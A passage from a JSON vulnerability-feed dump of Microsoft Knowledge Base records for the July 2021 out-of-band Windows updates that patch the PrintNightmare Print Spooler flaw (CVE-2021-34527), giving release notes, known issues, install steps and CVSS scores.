[KB4497181](<https://support.microsoft.com/help/4497181>).\n * If you do not have an ESU MAK add-on key installed and activated.\nIf you have purchased an ESU key and have encountered this issue, please verify you have applied all prerequisites and that your key is activated. For information on activation, please see this [blog](<https://aka.ms/Windows7ESU>) post. For information on the prerequisites, see the \"How to get this update\" section of this article. \nCertain operations, such as **rename**, that you perform on files or folders that are on a Cluster Shared Volume (CSV) may fail with the error, \u201cSTATUS_BAD_IMPERSONATION_LEVEL (0xC00000A5)\u201d. This occurs when you perform the operation on a CSV owner node from a process that doesn\u2019t have administrator privilege.| Do one of the following:\n\n * Perform the operation from a process that has administrator privilege.\n * Perform the operation from a node that doesn\u2019t have CSV ownership.\nMicrosoft is working on a resolution and will provide an update in an upcoming release. \n \n## **How to get this update**\n\n**Before installing this update****IMPORTANT** Customers who have purchased the Extended Security Update (ESU) for on-premises versions of these operating systems must follow the procedures in [KB4522133](<https://support.microsoft.com/help/4522133>) to continue receiving security updates after extended support ends on January 14, 2020.For more information about ESU and which editions are supported, see [KB4497181](<https://support.microsoft.com/help/4497181>).**Prerequisite:**You must install the updates listed below and **restart your device** before installing the latest Rollup. Installing these updates improves the reliability of the update process and mitigates potential issues while installing the Rollup and applying Microsoft security fixes.\n\n 1. The April 9, 2019 servicing stack update (SSU) ([KB4493730](<https://support.microsoft.com/help/4493730>)). To get the standalone package for this SSU, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>). This update is required to install updates that are only SHA-2 signed.\n 2. The latest SHA-2 update ([KB4474419](<https://support.microsoft.com/help/4474419>)) released October 8, 2019. If you are using Windows Update, the latest SHA-2 update will be offered to you automatically. This update is required to install updates that are only SHA-2 signed. For more information on SHA-2 updates, see [2019 SHA-2 Code Signing Support requirement for Windows and WSUS](<https://support.microsoft.com/help/4472027>).\n 3. The Extended Security Updates (ESU) Licensing Preparation Package ([KB4538484](<https://support.microsoft.com/help/4538484>)) or the Update for the Extended Security Updates (ESU) Licensing Preparation Package ([KB4575904](<https://support.microsoft.com/help/4575904>)). The ESU licensing preparation package will be offered to you from WSUS. To get the standalone package for ESU licensing preparation package, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>).\nAfter installing the items above, Microsoft strongly recommends that you install the latest SSU ([KB4580971](<https://support.microsoft.com/help/4580971>)). If you are using Windows Update, the latest SSU will be offered to you automatically if you are an ESU customer. To get the standalone package for the latest SSU, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>). For general information about SSUs, see [Servicing stack updates](<https://docs.microsoft.com/en-us/windows/deployment/update/servicing-stack-updates>) and [Servicing Stack Updates (SSU): Frequently Asked Questions](<https://support.microsoft.com/help/4535697>).**Install this update****Release Channel**| **Available**| **Next Step** \n---|---|--- \nWindows Update and Microsoft Update| Yes| None. This update will be downloaded and installed automatically from Windows Update if you are an ESU customer. \nMicrosoft Update Catalog| Yes| To get the standalone package for this update, go to the [Microsoft Update Catalog](<https://www.catalog.update.microsoft.com/Search.aspx?q=KB5004955>) website. \nWindows Server Update Services (WSUS)| Yes| This update will automatically sync with WSUS if you configure **Products and Classifications** as follows:**Product**: Windows Server 2008 Service Pack 2**Classification**: Security Updates \n \n## **File information**\n\nFor a list of the files that are provided in this update, download the [file information for update 5004955](<https://download.microsoft.com/download/c/8/8/c88a24bd-9f1c-4cf1-8e26-cb65bd2ef4c7/5004955.csv>).\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-06T00:00:00", "type": "mskb", "title": "July 6, 2021\u2014KB5004955 (Monthly Rollup) Out-of-band", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2021-07-06T00:00:00", "id": "KB5004955", "href": "https://support.microsoft.com/en-us/help/5004955", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2023-11-28T09:54:47", "description": "None\n**Important: **This release includes the Flash Removal Package. Taking this update will remove Adobe Flash from the device. For more information, see the [Update on Adobe Flash Player End of Support](<https://blogs.windows.com/msedgedev/2020/09/04/update-adobe-flash-end-support/>). \n\n**Important: **Windows Server 2012 has reached the end of mainstream support and is now in extended support. Starting in July 2020, there will no longer be optional releases (known as \"C\" or \"D\" releases) for this operating system. Operating systems in extended support have only cumulative monthly security updates (known as the \"B\" or Update Tuesday release). \n \nVerify that** **you have installed the required updates listed in the **How to get this update** section before installing this update. \n \nFor information about the various types of Windows updates, such as critical, security, driver, service packs, and so on, please see the following [article](<https://support.microsoft.com/help/824684>). To view other notes and messages, see the Windows Server 2012 update history [home page](<https://support.microsoft.com/help/4009471>).\n\n## **Improvements and fixes**\n\nThis security update includes quality improvements. Key changes include:\n\n * Addresses a remote code execution exploit in the Windows Print Spooler service, known as \u201cPrintNightmare\u201d, as documented in [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>). After installing this and later Windows updates, users who are not administrators can only install signed print drivers to a print server. By default, administrators can install signed and unsigned printer drivers to a print server. The installed root certificates in the system\u2019s Trusted Root Certification Authorities trusts signed drivers. Microsoft recommends that you immediately install this update on all supported Windows client and server operating system, starting with devices that currently host the print server role. You also have the option to configure the **RestrictDriverInstallationToAdministrators** registry setting to prevent non-administrators from installing signed printer drivers on a print server. For more information, see KB5005010[.](<https://support.microsoft.com/help/5005010>)\nFor more information about the resolved security vulnerabilities, please refer to the [Security Update Guide](<https://portal.msrc.microsoft.com/security-guidance>).\n\n## **Known issues in this update**\n\n**Symptom**| **Workaround** \n---|--- \nCertain operations, such as **rename**, that you perform on files or folders that are on a Cluster Shared Volume (CSV) may fail with the error, \u201cSTATUS_BAD_IMPERSONATION_LEVEL (0xC00000A5)\u201d. This occurs when you perform the operation on a CSV owner node from a process that doesn\u2019t have administrator privilege.| Do one of the following:\n\n * Perform the operation from a process that has administrator privilege.\n * Perform the operation from a node that doesn\u2019t have CSV ownership.\nMicrosoft is working on a resolution and will provide an update in an upcoming release. \n \n## **How to get this update**\n\n**Before installing this update**We strongly recommend that you install the latest servicing stack update (SSU) for your operating system before installing the latest Rollup. SSUs improve the reliability of the update process to mitigate potential issues while installing the Rollup and applying Microsoft security fixes. For general information about SSUs, see [Servicing stack updates](<https://docs.microsoft.com/en-us/windows/deployment/update/servicing-stack-updates>) and [Servicing Stack Updates (SSU): Frequently Asked Questions](<https://support.microsoft.com/help/4535697>).If you use Windows Update, the latest SSU ([KB5001401](<https://support.microsoft.com/help/5001401>)) will be offered to you automatically. To get the standalone package for the latest SSU, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>). **REMINDER** If you are using Security-only updates, you will also need to install all previous Security-only updates and the latest cumulative update for Internet Explorer ([KB5003636](<https://support.microsoft.com/help/5003636>)).**Install this update****Release Channel**| **Available**| **Next Step** \n---|---|--- \nWindows Update and Microsoft Update| No| See the other options below. \nMicrosoft Update Catalog| Yes| To get the standalone package for this update, go to the [Microsoft Update Catalog](<https://www.catalog.update.microsoft.com/Search.aspx?q=KB5004960>) website. \nWindows Server Update Services (WSUS)| Yes| This update will automatically sync with WSUS if you configure **Products and Classifications** as follows:**Product**: Windows Server 2012, Windows Embedded 8 Standard**Classification**: Security Update \n \n## **File information**\n\nFor a list of the files that are provided in this update, download the [file information for update 5004960](<https://download.microsoft.com/download/b/6/5/b6562791-88a6-461f-a98d-366e9f7c194f/5004960.csv>).\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-07T00:00:00", "type": "mskb", "title": "July 7, 2021\u2014KB5004960 (Security-only update) Out-of-band", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2021-07-07T00:00:00", "id": "KB5004960", "href": "https://support.microsoft.com/en-us/help/5004960", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2023-11-28T09:54:40", "description": "None\n**Important: **Windows 7 and Windows Server 2008 R2 have reached the end of mainstream support and are now in extended support. Starting in July 2020, there will no longer be optional, non-security releases (known as \"C\" releases) for this operating system. Operating systems in extended support have only cumulative monthly security updates (known as the \"B\" or Update Tuesday release). \n \nVerify that** **you have installed the required updates listed in the **How to get this update** section before installing this update. \n \nFor information about the various types of Windows updates, such as critical, security, driver, service packs, and so on, please see the following [article](<https://support.microsoft.com/help/824684>). To view other notes and messages, see the Windows 7 and Windows Server 2008 R2 update history [home page](<https://support.microsoft.com/help/4009469>).\n\n## **Improvements and fixes**\n\nThis security update includes quality improvements. Key changes include:\n\n * Addresses a remote code execution exploit in the Windows Print Spooler service, known as \u201cPrintNightmare\u201d, as documented in [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>). After installing this and later Windows updates, users who are not administrators can only install signed print drivers to a print server. By default, administrators can install signed and unsigned printer drivers to a print server. The installed root certificates in the system\u2019s Trusted Root Certification Authorities trusts signed drivers. Microsoft recommends that you immediately install this update on all supported Windows client and server operating system, starting with devices that currently host the print server role. You also have the option to configure the **RestrictDriverInstallationToAdministrators** registry setting to prevent non-administrators from installing signed printer drivers on a print server. For more information, see [KB5005010](<https://support.microsoft.com/help/5005010>).\nFor more information about the resolved security vulnerabilities, please refer to the new [Security Update Guide](<https://msrc.microsoft.com/update-guide>) website.\n\n## **Known issues in this update**\n\n**Symptom**| **Workaround** \n---|--- \nAfter installing this update or later updates, connections to SQL Server 2005 might fail. You might receive the following error: \n \n\"Cannot connect to <Server name>, Additional information: A network-related or instance-specific error occurred while establishing a connection to SQL Server. The server was not found or was not accessible. Verify that the instance name is correct and that SQL Server is configured to allow remote connections. (provider: Named Pipes Provider, error: 40 - Could not open a connection to SQL Server) (.Net SqlClient Data Provider)\"| This is expected behavior due to a security hardening change in this update. To resolve this issue, you will need to update to a [supported version of SQL Server](<https://docs.microsoft.com/en-us/lifecycle/products/?terms=sql%20server>). \nAfter installing this update and restarting your device, you might receive the error, \u201cFailure to configure Windows updates. Reverting Changes. Do not turn off your computer,\u201d and the update might show as **Failed **in **Update History**.| This is expected in the following circumstances:\n\n * If you are installing this update on a device that is running an edition that is not supported for ESU. For a complete list of which editions are supported, see [KB4497181](<https://support.microsoft.com/help/4497181>).\n * If you do not have an ESU MAK add-on key installed and activated.\n * If you have purchased an ESU key and have encountered this issue, please verify you have applied all prerequisites and that your key is activated. For information on activation, please see this [blog](<https://techcommunity.microsoft.com/t5/windows-it-pro-blog/obtaining-extended-security-updates-for-eligible-windows-devices/ba-p/1167091>) post. For information on the prerequisites, see the **How to get this update** section of this article. \nCertain operations, such as **rename**, that you perform on files or folders that are on a Cluster Shared Volume (CSV) may fail with the error, \"STATUS_BAD_IMPERSONATION_LEVEL (0xC00000A5)\". This occurs when you perform the operation on a CSV owner node from a process that doesn\u2019t have administrator privilege.| Do one of the following:\n\n * Perform the operation from a process that has administrator privilege.\n * Perform the operation from a node that doesn\u2019t have CSV ownership.\nMicrosoft is working on a resolution and will provide an update in an upcoming release. \n \n## **How to get this update**\n\n**Before installing this update****IMPORTANT** Customers who have purchased the Extended Security Update (ESU) for on-premises versions of these operating systems must follow the procedures in [KB4522133](<https://support.microsoft.com/help/4522133>) to continue receiving security updates after extended support ends. Extended support ends as follows:\n\n * For Windows 7 Service Pack 1 and Windows Server 2008 R2 Service Pack 1, extended support ends on January 14, 2020.\n * For Windows Embedded Standard 7, extended support ends on October 13, 2020.\nFor more information about ESU and which editions are supported, see [KB4497181](<https://support.microsoft.com/help/4497181>).**Note** For Windows Embedded Standard 7, Windows Management Instrumentation (WMI) must be enabled to get updates from Windows Update or Windows Server Update Services.**Prerequisite:**You must install the updates listed below and **restart your device** before installing the latest Rollup. Installing these updates improves the reliability of the update process and mitigates potential issues while installing the Rollup and applying Microsoft security fixes.\n\n 1. The March 12, 2019 servicing stack update (SSU) ([KB4490628](<https://support.microsoft.com/help/4490628>)). To get the standalone package for this SSU, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>). This update is required to install updates that are only SHA-2 signed.\n 2. The latest SHA-2 update ([KB4474419](<https://support.microsoft.com/help/4474419>)) released September 10, 2019. If you are using Windows Update, the latest SHA-2 update will be offered to you automatically. This update is required to install updates that are only SHA-2 signed. For more information on SHA-2 updates, see [2019 SHA-2 Code Signing Support requirement for Windows and WSUS](<https://support.microsoft.com/help/4472027>).\n 3. For Windows Thin PC, you must have the August 11, 2020 SSU ([KB4570673](<https://support.microsoft.com/help/4570673>)) or a later SSU installed to make sure you continue to get the extended security updates starting with the October 13, 2020 updates.\n 4. To get this security update, you must reinstall the \"Extended Security Updates (ESU) Licensing Preparation Package\" ([KB4538483](<https://support.microsoft.com/help/4538483>)) or the \"Update for the Extended Security Updates (ESU) Licensing Preparation Package\" ([KB4575903](<https://support.microsoft.com/help/4575903>)) even if you previously installed the ESU key. The ESU licensing preparation package will be offered to you from WSUS. To get the standalone package for ESU licensing preparation package, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>).\nAfter installing the items above, Microsoft strongly recommends that you install the latest SSU ([KB4592510](<https://support.microsoft.com/help/4592510>)). If you are using Windows Update, the latest SSU will be offered to you automatically if you are an ESU customer. To get the standalone package for the latest SSU, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>). For general information about SSUs, see [Servicing stack updates](<https://docs.microsoft.com/en-us/windows/deployment/update/servicing-stack-updates>) and [Servicing Stack Updates (SSU): Frequently Asked Questions](<https://support.microsoft.com/help/4535697>).**REMINDER** If you are using Security-only updates, you will also need to install all previous Security-only updates and the latest cumulative update for Internet Explorer ([KB5003636](<https://support.microsoft.com/help/5003636>)).**Install this update****Release Channel**| **Available**| **Next Step** \n---|---|--- \nWindows Update and Microsoft Update| No| See the other options below. \nMicrosoft Update Catalog| Yes| To get the standalone package for this update, go to the [Microsoft Update Catalog](<https://www.catalog.update.microsoft.com/Search.aspx?q=KB5004951>) website. \nWindows Server Update Services (WSUS)| Yes| This update will automatically sync with WSUS if you configure **Products and Classifications** as follows:**Product**: Windows 7 Service Pack 1, Windows Server 2008 R2 Service Pack 1, Windows Embedded Standard 7 Service Pack 1, Windows Embedded POSReady 7, Windows Thin PC**Classification**: Security Updates \n \n## **File information**\n\nFor a list of the files that are provided in this update, download the [file information for update 5004951](<https://download.microsoft.com/download/e/b/5/eb523bca-d712-4df9-991a-c3ba662ee308/5004951.csv>).\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-06T00:00:00", "type": "mskb", "title": "July 6, 2021\u2014KB5004951 (Security-only update) Out-of-band", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2021-07-06T00:00:00", "id": "KB5004951", "href": "https://support.microsoft.com/en-us/help/5004951", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2023-11-28T09:54:42", "description": "None\n**Important: **This release includes the Flash Removal Package. Taking this update will remove Adobe Flash from the device. For more information, see the [Update on Adobe Flash Player End of Support](<https://blogs.windows.com/msedgedev/2020/09/04/update-adobe-flash-end-support/>).\n\n**Important: **Windows 8.1 and Windows Server 2012 R2 have reached the end of mainstream support and are now in extended support. Starting in July 2020, there will no longer be optional, non-security releases (known as \"C\" releases) for this operating system. Operating systems in extended support have only cumulative monthly security updates (known as the \"B\" or Update Tuesday release). \n \nFor information about the various types of Windows updates, such as critical, security, driver, service packs, and so on, please see the following [article](<https://support.microsoft.com/help/824684>). To view other notes and messages, see the Windows 8.1 and Windows Server 2012 R2 update history [home page](<https://support.microsoft.com/help/4009470>).\n\n## **Improvements and fixes**\n\nThis security update includes improvements and fixes that were a part of update [KB5003671](<https://support.microsoft.com/help/5003671>) (released June 8, 2021) and addresses the following issues:\n\n * Addresses a remote code execution exploit in the Windows Print Spooler service, known as \u201cPrintNightmare\u201d, as documented in [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>). After installing this and later Windows updates, users who are not administrators can only install signed print drivers to a print server. By default, administrators can install signed and unsigned printer drivers to a print server. The installed root certificates in the system\u2019s Trusted Root Certification Authorities trusts signed drivers. Microsoft recommends that you immediately install this update on all supported Windows client and server operating system, starting with devices that currently host the print server role. You also have the option to configure the **RestrictDriverInstallationToAdministrators** registry setting to prevent non-administrators from installing signed printer drivers on a print server. For more information, see [KB5005010](<https://support.microsoft.com/help/5005010>).\nFor more information about the resolved security vulnerabilities, please refer to the new [Security Update Guide](<https://msrc.microsoft.com/update-guide>) website.\n\n## **Known issues in this update**\n\n**Symptom**| **Workaround** \n---|--- \nCertain operations, such as **rename**, that you perform on files or folders that are on a Cluster Shared Volume (CSV) may fail with the error, \u201cSTATUS_BAD_IMPERSONATION_LEVEL (0xC00000A5)\u201d. This occurs when you perform the operation on a CSV owner node from a process that doesn\u2019t have administrator privilege.| Do one of the following:\n\n * Perform the operation from a process that has administrator privilege.\n * Perform the operation from a node that doesn\u2019t have CSV ownership.\nMicrosoft is working on a resolution and will provide an update in an upcoming release. \n \n## **How to get this update**\n\n**Before installing this update**We strongly recommend that you install the latest servicing stack update (SSU) for your operating system before you install the latest Rollup. SSUs improve the reliability of the update process to mitigate potential issues while installing the Rollup and applying Microsoft security fixes. For general information about SSUs, see [Servicing stack updates](<https://docs.microsoft.com/en-us/windows/deployment/update/servicing-stack-updates>) and [Servicing Stack Updates (SSU): Frequently Asked Questions](<https://support.microsoft.com/help/4535697>).If you use Windows Update, the latest SSU ([KB5001403](<https://support.microsoft.com/help/5001403>)) will be offered to you automatically. To get the standalone package for the latest SSU, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>). **Install this update****Release Channel**| **Available**| **Next Step** \n---|---|--- \nWindows Update and Microsoft Update| Yes| None. This update will be downloaded and installed automatically from Windows Update. \nMicrosoft Update Catalog| Yes| To get the standalone package for this update, go to the [Microsoft Update Catalog](<https://www.catalog.update.microsoft.com/Search.aspx?q=KB5004954>) website. \nWindows Server Update Services (WSUS)| Yes| This update will automatically sync with WSUS if you configure **Products and Classifications** as follows:**Product**: Windows 8.1, Windows Server 2012 R2, Windows Embedded 8.1 Industry Enterprise, Windows Embedded 8.1 Industry Pro**Classification**: Security Updates \n \n## **File information**\n\nFor a list of the files that are provided in this update, download the [file information for update 5004954](<https://download.microsoft.com/download/7/3/c/73cce342-34cc-4e96-9924-e42c5a19efe3/5004954.csv>). \n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-06T00:00:00", "type": "mskb", "title": "July 6, 2021\u2014KB5004954 (Monthly Rollup) Out-of-band", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2021-07-06T00:00:00", "id": "KB5004954", "href": "https://support.microsoft.com/en-us/help/5004954", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2023-11-28T09:54:47", "description": "None\n**Important: **This release includes the Flash Removal Package. Taking this update will remove Adobe Flash from the device. For more information, see the [Update on Adobe Flash Player End of Support](<https://blogs.windows.com/msedgedev/2020/09/04/update-adobe-flash-end-support/>). \n\n**Important: **Windows Server 2012 has reached the end of mainstream support and is now in extended support. Starting in July 2020, there will no longer be optional releases (known as \"C\" or \"D\" releases) for this operating system. Operating systems in extended support have only cumulative monthly security updates (known as the \"B\" or Update Tuesday release). \n \nVerify that** **you have installed the required updates listed in the **How to get this update** section before installing this update. \n \nFor information about the various types of Windows updates, such as critical, security, driver, service packs, and so on, please see the following [article](<https://support.microsoft.com/help/824684>). To view other notes and messages, see the Windows Server 2012 update history [home page](<https://support.microsoft.com/help/4009471>).\n\n## **Improvements and fixes**\n\nThis security update includes improvements and fixes that were a part of update [KB5003697](<https://support.microsoft.com/help/5003697>) (released previous June 8, 2021) and addresses the following issues:\n\n * Addresses a remote code execution exploit in the Windows Print Spooler service, known as \u201cPrintNightmare\u201d, as documented in [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>). After installing this and later Windows updates, users who are not administrators can only install signed print drivers to a print server. By default, administrators can install signed and unsigned printer drivers to a print server. The installed root certificates in the system\u2019s Trusted Root Certification Authorities trusts signed drivers. Microsoft recommends that you immediately install this update on all supported Windows client and server operating system, starting with devices that currently host the print server role. You also have the option to configure the **RestrictDriverInstallationToAdministrators** registry setting to prevent non-administrators from installing signed printer drivers on a print server. For more information, see [KB5005010](<https://support.microsoft.com/help/5005010>).\nFor more information about the resolved security vulnerabilities, please refer to the new [Security Update Guide](<https://msrc.microsoft.com/update-guide>) website.\n\n## **Known issues in this update**\n\n**Symptom**| **Workaround** \n---|--- \nCertain operations, such as **rename**, that you perform on files or folders that are on a Cluster Shared Volume (CSV) may fail with the error, \u201cSTATUS_BAD_IMPERSONATION_LEVEL (0xC00000A5)\u201d. This occurs when you perform the operation on a CSV owner node from a process that doesn\u2019t have administrator privilege.| Do one of the following:\n\n * Perform the operation from a process that has administrator privilege.\n * Perform the operation from a node that doesn\u2019t have CSV ownership.\nMicrosoft is working on a resolution and will provide an update in an upcoming release. \n \n## **How to get this update**\n\n**Before installing this update**We strongly recommend that you install the latest servicing stack update (SSU) for your operating system before installing the latest Rollup. SSUs improve the reliability of the update process to mitigate potential issues while installing the Rollup and applying Microsoft security fixes. For general information about SSUs, see [Servicing stack updates](<https://docs.microsoft.com/en-us/windows/deployment/update/servicing-stack-updates>) and [Servicing Stack Updates (SSU): Frequently Asked Questions](<https://support.microsoft.com/help/4535697>).If you use Windows Update, the latest SSU ([KB5001401](<https://support.microsoft.com/help/5001401>)) will be offered to you automatically. To get the standalone package for the latest SSU, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>). **Install this update****Release Channel**| **Available**| **Next Step** \n---|---|--- \nWindows Update and Microsoft Update| Yes| None. This update will be downloaded and installed automatically from Windows Update. \nMicrosoft Update Catalog| Yes| To get the standalone package for this update, go to the [Microsoft Update Catalog](<https://www.catalog.update.microsoft.com/Search.aspx?q=KB5004956>) website. \nWindows Server Update Services (WSUS)| Yes| This update will automatically sync with WSUS if you configure **Products and Classifications** as follows:**Product**: Windows Server 2012, Windows Embedded 8 Standard**Classification**: Security Updates \n \n## **File information**\n\nFor a list of the files that are provided in this update, download the [file information for update 5004956](<https://download.microsoft.com/download/e/f/5/ef50021e-60a9-47da-be60-b2687db452d3/5004956.csv>). \n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-07T00:00:00", "type": "mskb", "title": "July 7, 2021\u2014KB5004956 (Monthly Rollup) Out-of-band", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2021-07-07T00:00:00", "id": "KB5004956", "href": "https://support.microsoft.com/en-us/help/5004956", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2023-11-28T09:54:40", "description": "None\n**EXPIRATION NOTICE**As of 9/12/2023, KB5004948 is no longer available from Windows Update, the Microsoft Update Catalog, or other release channels. We recommend that you update your devices to the latest security quality update. \n--- \n \n**11/19/20** \nFor information about Windows update terminology, see the article about the [types of Windows updates](<https://docs.microsoft.com/en-us/troubleshoot/windows-client/deployment/standard-terminology-software-updates>) and the [monthly quality update types](<https://techcommunity.microsoft.com/t5/windows-it-pro-blog/windows-quality-updates-primer/ba-p/2569385>). To view other notes and messages, see the Windows 10, version 1607 update history home page. \n\n## Highlights\n\nThis security update includes key changes as follows:\n\n * Updates a remote code execution exploit in the Windows Print Spooler service, known as \u201cPrintNightmare\u201d, as documented in [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>). \n\n## Improvements and fixes\n\nThis security update includes quality improvements. Key changes include:\n\n * Addresses a remote code execution exploit in the Windows Print Spooler service, known as \u201cPrintNightmare\u201d, as documented in [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>). After installing this and later Windows updates, users who are not administrators can only install signed print drivers to a print server. By default, administrators can install signed and unsigned printer drivers to a print server. The installed root certificates in the system\u2019s Trusted Root Certification Authorities trusts signed drivers. Microsoft recommends that you immediately install this update on all supported Windows client and server operating system, starting with devices that currently host the print server role. You also have the option to configure the **RestrictDriverInstallationToAdministrators** registry setting to prevent non-administrators from installing signed printer drivers on a print server. For more information, see KB5005010.\nIf you installed earlier updates, only the new fixes contained in this package will be downloaded and installed on your device.For more information about the resolved security vulnerabilities, please refer to the new [Security Update Guide](<https://msrc.microsoft.com/update-guide>) website.\n\n**Windows Update Improvements**Microsoft has released an update directly to the Windows Update client to improve reliability. Any device running Windows 10 configured to receive updates automatically from Windows Update, including Enterprise and Pro editions, will be offered the latest Windows 10 feature update based on device compatibility and Windows Update for Business deferral policy. This doesn't apply to long-term servicing editions.\n\n## Known issues in this update\n\n**Symptom**| **Workaround** \n---|--- \nAfter installing updates released April 22, 2021 or later, an issue occurs that affects versions of Windows Server that are in use as a Key Management Services (KMS) host. Client devices running Windows 10 Enterprise 